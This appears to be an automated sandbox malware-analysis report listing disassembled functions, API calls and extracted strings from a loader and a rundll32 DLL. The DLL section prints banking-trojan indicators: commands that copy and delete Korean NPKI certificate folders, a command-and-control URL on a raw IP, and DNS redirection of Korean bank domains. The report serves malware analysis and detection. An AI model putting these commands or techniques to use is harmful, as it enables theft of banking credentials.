Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: E256$E50310
String ID: DB@$nB@
API String ID: 3166612723-4005678958
Opcode ID: d9b166e6bfa9c663b61ce0e3a603041949639b1d5f481a09527389042575c698
Instruction ID: 07a67f05f5cb526cde5bb56a1f38001e8bee0c3f8aa25bc8e26a66cad1eb58db
Opcode Fuzzy Hash: d9b166e6bfa9c663b61ce0e3a603041949639b1d5f481a09527389042575c698
Instruction Fuzzy Hash: 092118B1348B818BD301EF25844176FBBE1EBD5784F14486EF681273C2CBBD65098B9A

Function 00402590 Relevance: 12.0, APIs: 8, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00403500: 6CE50310.MFC42(00000082,?,?,?,?,00000000,?,00404B39,000000FF,004025B6,00000000), ref: 00403529
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 0040353B
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 00403553
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 0040356B
Part of subcall function 00403500: 6CE17F20.MFC42(00000082,?), ref: 00403583
Part of subcall function 00403500: 6CE256F0.MFC42(00000082,?), ref: 0040359B
Part of subcall function 00403500: 6CE256F0.MFC42(00000082,?), ref: 004035AD
Part of subcall function 00403500: 6CE25A80.MFC42(004073FC,00000082,?), ref: 004035C4
Part of subcall function 00403500: 6CE25A80.MFC42(004073FC,004073FC,00000082,?), ref: 004035D0

6CE509F0.MFC42 ref: 004025C5
6CE1A420.MFC42 ref: 004025DC
6CE1A420.MFC42 ref: 004025F0
6CE4BC00.MFC42 ref: 00402604
6CE4BC00.MFC42 ref: 00402618
6CE4BC00.MFC42 ref: 0040262C
6CE4BC50.MFC42 ref: 0040263D
6CE503E0.MFC42 ref: 00402651

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420E256$E503E50310E509
String ID:
API String ID: 560835582-0
Opcode ID: e526fec369c35d35e31d161f3d6166b5031a0c0aa420842dfd615be23e30ada1
Instruction ID: 42c3b9d168d0418a94f95c23e9adf838e90ef7772fbddf989849af9f639a5948
Opcode Fuzzy Hash: e526fec369c35d35e31d161f3d6166b5031a0c0aa420842dfd615be23e30ada1
Instruction Fuzzy Hash: A611067400C3C0DAD336EB60C459BDBBBB4BBE9314F800A2DA59D162C19F781149CA57

Function 00402670 Relevance: 10.5, APIs: 7, Instructions: 35COMMON

Download Yara Rule

APIs

6CE1A420.MFC42(?,?,?,0040498B,000000FF), ref: 0040269B
6CE1A420.MFC42(?,?,?,0040498B,000000FF), ref: 004026AB
6CE4BC00.MFC42(?,?,?,0040498B,000000FF), ref: 004026BB
6CE4BC00.MFC42(?,?,?,0040498B,000000FF), ref: 004026CB
6CE4BC00.MFC42(?,?,?,0040498B,000000FF), ref: 004026DB
6CE4BC50.MFC42(?,?,?,0040498B,000000FF), ref: 004026E8
6CE503E0.MFC42(?,?,?,0040498B,000000FF), ref: 004026F7

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420$E503
String ID:
API String ID: 3478961390-0
Opcode ID: 73797ba87a622be385d98e4536f12e1290190033833ce099e9855b6aedb849fc
Instruction ID: d16fc65b1ff759d4bf2d112fd190ecce01b2d07838592e1474cafa958000d974
Opcode Fuzzy Hash: 73797ba87a622be385d98e4536f12e1290190033833ce099e9855b6aedb849fc
Instruction Fuzzy Hash: 320140B00087C19BD315EB25C40979BBBE4BBE9714F440E1EF5E6162C1CBB85648C696

Function 00401BE0 Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

6CE514C0.MFC42(?,000003F5,?), ref: 00401BF3
6CE514C0.MFC42(?,000003EE,?,?,000003F5,?), ref: 00401C05
6CE514C0.MFC42(?,000003E8,?,?,000003EE,?,?,000003F5,?), ref: 00401C17
6CE51960.MFC42(?,000003EF,?,?,000003E8,?,?,000003EE,?,?,000003F5,?), ref: 00401C29
6CE51140.MFC42(?,?,0000000A,?,000003EF,?,?,000003E8,?,?,000003EE,?,?,000003F5,?), ref: 00401C32
6CE51960.MFC42(?,000003F0,?,?,?,0000000A,?,000003EF,?,?,000003E8,?,?,000003EE,?,?), ref: 00401C44

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: E514$E51960$E51140
String ID:
API String ID: 1307879675-0
Opcode ID: cfde83c47ff25b013f24b5fb9812b7ebe0be881af1d191fad1845931f096e49f
Instruction ID: 93ee3fe985d7ce76ed5cd37f38fdc4d041633a02a5185305ce90021903040c5d
Opcode Fuzzy Hash: cfde83c47ff25b013f24b5fb9812b7ebe0be881af1d191fad1845931f096e49f
Instruction Fuzzy Hash: 6CF0BEB27902143BE202A651DCC2EBF626CEBD6B9AF01037EF700360C19AAC2A014275

Function 00403610 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

6CE514C0.MFC42(?,000003EE,?), ref: 00403622
6CE514C0.MFC42(?,000003FB,?,?,000003EE,?), ref: 00403634
6CE514C0.MFC42(?,000003F4,?,?,000003FB,?,?,000003EE,?), ref: 00403646
6CE514C0.MFC42(?,000003F3,?,?,000003F4,?,?,000003FB,?,?,000003EE,?), ref: 00403658
6CE51960.MFC42(?,000003EF,?,?,000003F3,?,?,000003F4,?,?,000003FB,?,?,000003EE,?), ref: 0040366A
6CE51960.MFC42(?,000003F0,?,?,000003EF,?,?,000003F3,?,?,000003F4,?,?,000003FB,?,?), ref: 0040367C

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: E514$E51960
String ID:
API String ID: 3150026127-0
Opcode ID: b5ef06bcced9b5675932e51068800d4f328651a0de4a6e600310cf605433ae4f
Instruction ID: 7d7aa8acedc914c8f7f252d341010923b6cabf8a586bbe7ebd9ee2e302cdfebb
Opcode Fuzzy Hash: b5ef06bcced9b5675932e51068800d4f328651a0de4a6e600310cf605433ae4f
Instruction Fuzzy Hash: 08F0BEB26902153BE202A621DC82FFF636CEBC5B44F05473EB785760C19FBC2A018325

Function 00402F00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53memorystringCOMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00402F09
lstrlen.KERNEL32(00402DDC,?,00402DDC,00407194), ref: 00402F2C
MultiByteToWideChar.KERNEL32(00000000,00000000,00402DDC,000000FF,?,00000001,?,00402DDC,00407194), ref: 00402F55
SysAllocString.OLEAUT32(00000000), ref: 00402F5F

Strings

NULL, xrefs: 00402F05

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: AllocByteCharClearMultiStringVariantWidelstrlen
String ID: NULL
API String ID: 3257503732-324932091
Opcode ID: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction ID: d48dc8f015bb9ad4e3fe3b606f75ade0cd382acbba87cbd38ab65ded183ca584
Opcode Fuzzy Hash: 2c32c68fdb7f477cd471d25b524953c9b06913d1421e61b9c9fbc39c3ea53eac
Instruction Fuzzy Hash: 9801D272600616ABC7105F52CD84B5BBBB8EF413A4F108136FE04B7390E3B898018BE9

Function 004010C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004010D9
srand.MSVCRT ref: 004010E0
rand.MSVCRT ref: 004010EF
rand.MSVCRT ref: 00401110

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 004010CB

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction ID: b437bbb5ddae58e17e7d4b32f079fbf535bad8d5f4727950ce3f72a2bcf890de
Opcode Fuzzy Hash: af64965fe20426d731e7306a6c52b6f3676ca0dad364db7fcac0bb6fbcf8137a
Instruction Fuzzy Hash: 34F04436B052004BC204AA2D9D40A6FF797EBC8351F85043EFE89E3352C976980846BA

Function 00403060 Relevance: 6.2, APIs: 4, Instructions: 176COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004030F1
VariantClear.OLEAUT32(?), ref: 0040318F
VariantClear.OLEAUT32(?), ref: 0040319B
SysFreeString.OLEAUT32(?), ref: 0040323E

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: ClearFreeStringVariant
String ID:
API String ID: 1438600931-0
Opcode ID: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction ID: 37251e203aaafb338411583485349c6a70529d6897f4196c911f470311200aa0
Opcode Fuzzy Hash: 36ddf7c9e64948429ea50c594583730548552646f732539940beb09dbb1102c1
Instruction Fuzzy Hash: 8D6110B46083818FC300DFA8C884A1AFBE8BF89704F508D6EF89597350C779E949CB56

Function 00402850 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040286D

Part of subcall function 00403F80: 6CE59A60.MFC42(?,000000CB,00000002,00000009,00000000,00000000,?,00401F36), ref: 00403F92

6CE1EC00.MFC42(?), ref: 004028AF
6CE1EC00.MFC42 ref: 004028C7
CoUninitialize.OLE32 ref: 004028E3

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: InitializeUninitialize
String ID:
API String ID: 3442037557-0
Opcode ID: dea62da469005834a17dcaf4a989a915fdff2ae1d3d4b724e7fed293f5c704ef
Instruction ID: a6f7315796581bb2d5abe88462ee4dad0f4ce63d180d3def42c8f6836305b1d2
Opcode Fuzzy Hash: dea62da469005834a17dcaf4a989a915fdff2ae1d3d4b724e7fed293f5c704ef
Instruction Fuzzy Hash: 5F1190B0504341AFC300EF64C909B4B7BE8BB88714F044A2EF899A33C1D7789904CBA6

Function 00403FA0 Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

6CE256F0.MFC42(?,?,?,?,?,?,?,?,00404838,000000FF), ref: 00403FC7
6CE59A60.MFC42(?,?,?,?,000000D3,00000002,00000008,?,00000000), ref: 00403FE5
6CE1EC00.MFC42(?), ref: 00403FF8
6CE1A420.MFC42(?,?,?,?,?,?,00000008,?,00000000), ref: 0040400E

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID: A420E256
String ID:
API String ID: 3523497125-0
Opcode ID: bab0631a7cd3f2ee1a1cae18d2b9e26db3f3eb49dea1ffd19132274849109f0e
Instruction ID: b8dc7083480bc4708094733b35e4e89a4a97086a0659bf2509b7bb66655cd5a6
Opcode Fuzzy Hash: bab0631a7cd3f2ee1a1cae18d2b9e26db3f3eb49dea1ffd19132274849109f0e
Instruction Fuzzy Hash: 7B01A9B1248750ABD314EB44C942F4AB7D4AB94F14F40852EF659672C1C7B85904C7A7

Function 00403ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

6CE12DD0.MFC42(00000040,?,?,?,00404C4A,000000FF), ref: 00403EE9
6CE17F20.MFC42 ref: 00403F03

Strings

0?@, xrefs: 00403F08

Memory Dump Source

Source File: 00000005.00000002.2052681747.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2052670397.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052692966.0000000000405000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052703272.0000000000406000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052715481.0000000000407000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052726704.0000000000408000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052738303.0000000000409000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052751302.0000000000415000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2052764193.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_wlbldvv.jbxd

Similarity

API ID:
String ID: 0?@
API String ID: 0-4113061678
Opcode ID: 8a7acfc78b9fe263d97fcbbf9cc9dcb08269914006500b81099803699076fa74
Instruction ID: dd62c5200595188f2f15a0fc69b55e0932859a66ba4cda06ce91d8cb1555c2c7
Opcode Fuzzy Hash: 8a7acfc78b9fe263d97fcbbf9cc9dcb08269914006500b81099803699076fa74
Instruction Fuzzy Hash: 2FE092F1A84A61DBD310EF188902B9A7AE4F784B60F404A3EF169E77C0E77C484187C6

Analysis Process: rundll32.exePID: 5492, Parent PID: 1412COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	1.2%
Signature Coverage:	18.9%
Total number of Nodes:	974
Total number of Limit Nodes:	27

Executed Functions

Function 1000B0A0 Relevance: 75.6, APIs: 31, Strings: 12, Instructions: 387
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(?,?), ref: 1000B0D9
lstrcat.KERNEL32(?,10019BD4), ref: 1000B0F2
lstrcat.KERNEL32(?,*.*), ref: 1000B101
FindFirstFileA.KERNEL32(?,?,?,1000B62C,?), ref: 1000B113
FindNextFileA.KERNEL32(00000000,?,?,1000B62C,?), ref: 1000B139
lstrcpy.KERNEL32(?,?), ref: 1000B194
lstrcat.KERNEL32(?,10019BD4), ref: 1000B1A7
lstrcat.KERNEL32(?,0000002E), ref: 1000B1B9
_strcmpi.MSVCRT ref: 1000B1C8
GetTickCount.KERNEL32 ref: 1000B252
srand.MSVCRT ref: 1000B259
rand.MSVCRT ref: 1000B264
rand.MSVCRT ref: 1000B280
rand.MSVCRT ref: 1000B28E
rand.MSVCRT ref: 1000B29C

Strings

cmd.exe /c rd /q /s "c:\%s", xrefs: 1000B54F
*.*, xrefs: 1000B0FB
NPKI, xrefs: 1000B1C3
09121307.txt, xrefs: 1000B1EC, 1000B513
., xrefs: 1000B14E
P, xrefs: 1000B412
cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit, xrefs: 1000B32A
%s\%s, xrefs: 1000B204, 1000B520
c:\%c%c%c%c.%c%c%c, xrefs: 1000B2EF
107.163.241.232:12354/show.php, xrefs: 1000B437
c:\%s, xrefs: 1000B392
/u.php, xrefs: 1000B4E0

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcatrand$FileFindlstrcpy$CountFirstNextTick_strcmpisrand
String ID: %s\%s$*.*$.$/u.php$09121307.txt$107.163.241.232:12354/show.php$NPKI$P$c:\%c%c%c%c.%c%c%c$c:\%s$cmd.exe /c md c:\%s && xcopy /Y "%s" "c:\%s" /S /E /C /H && exit$cmd.exe /c rd /q /s "c:\%s"
API String ID: 3781771675-2805527149
Opcode ID: bbee613478e399059a034d314f1c1b5c2bab36900512fa1b90fe0e01db607cb7
Instruction ID: eb23a03111fe4c4eb7601a1bdb2af3d3cdc9092a3aaab1ed9f55861fbd2d4e08
Opcode Fuzzy Hash: bbee613478e399059a034d314f1c1b5c2bab36900512fa1b90fe0e01db607cb7
Instruction Fuzzy Hash: 5FD1A6B1508386AFE725CB64CD91BEB77DAEBC8344F004D2DE68A97241DB74D6088B53

Function 100055E0 Relevance: 56.3, APIs: 23, Strings: 9, Instructions: 263
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10005652
socket.WS2_32(00000002,00000002,00000000), ref: 10005664
socket.WS2_32(00000002,00000002,00000000), ref: 10005670
htons.WS2_32(00000035), ref: 10005687
inet_addr.WS2_32(127.0.0.1), ref: 10005699
htons.WS2_32(00000035), ref: 100056A1
inet_addr.WS2_32(?), ref: 100056A8
bind.WS2_32(00000000,?,00000010), ref: 100056B2
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 100056CB
select.WS2_32 ref: 1000570C
Sleep.KERNEL32(000003E8), ref: 10005721
wsprintfA.USER32 ref: 100057C2
malloc.MSVCRT ref: 1000582A
htons.WS2_32(00008180), ref: 10005861
htons.WS2_32(00008182), ref: 10005878
htons.WS2_32(00000001), ref: 10005884
htons.WS2_32(0000C00C), ref: 100058AA
htons.WS2_32(00000001), ref: 100058B3
htons.WS2_32(00000001), ref: 100058BC
htons.WS2_32(00000004), ref: 100058D1
inet_addr.WS2_32(127.0.0.1), ref: 100058EC
closesocket.WS2_32(?), ref: 10005964
closesocket.WS2_32(00000000), ref: 10005967

Strings

www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 100057D9
v3lite, xrefs: 10005814
alyac, xrefs: 100057F4
iRecv=0, xrefs: 10005947
8.8.8.8, xrefs: 1000562D
c:\3.txt, xrefs: 1000594C
ahnlab, xrefs: 10005804
%s|, xrefs: 100057BB
127.0.0.1, xrefs: 1000568F, 100058E7

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: htons$inet_addr$closesocketsocket$SleepStartupbindioctlsocketmallocselectwsprintf
String ID: %s|$127.0.0.1$8.8.8.8$ahnlab$alyac$c:\3.txt$iRecv=0$v3lite$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 1328051524-4015207955
Opcode ID: 4828b0be3a3e2642fd62dd5c7122c309b17e755da9cbc61a39448c2e2ba24f89
Instruction ID: 8807dec323691aef2f5420f23a93805b2fe18ff7326935eede266de03f692902
Opcode Fuzzy Hash: 4828b0be3a3e2642fd62dd5c7122c309b17e755da9cbc61a39448c2e2ba24f89
Instruction Fuzzy Hash: 52A1AF31608344ABE710DB64CC45BAFBBE5EF88744F00491DF68597290DBB5E988CB57

Function 100051B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 100051CA
GetProcAddress.KERNEL32(00000000,GetExtendedUdpTable), ref: 100051DA
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000), ref: 100051F1
malloc.MSVCRT ref: 1000520A
GetExtendedUdpTable.IPHLPAPI(00000000,?,00000001,00000002,00000001,00000000,?,?,1000BBB2,00000035), ref: 10005230

Strings

GetExtendedUdpTable, xrefs: 100051D0
iphlpapi.dll, xrefs: 100051B5

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

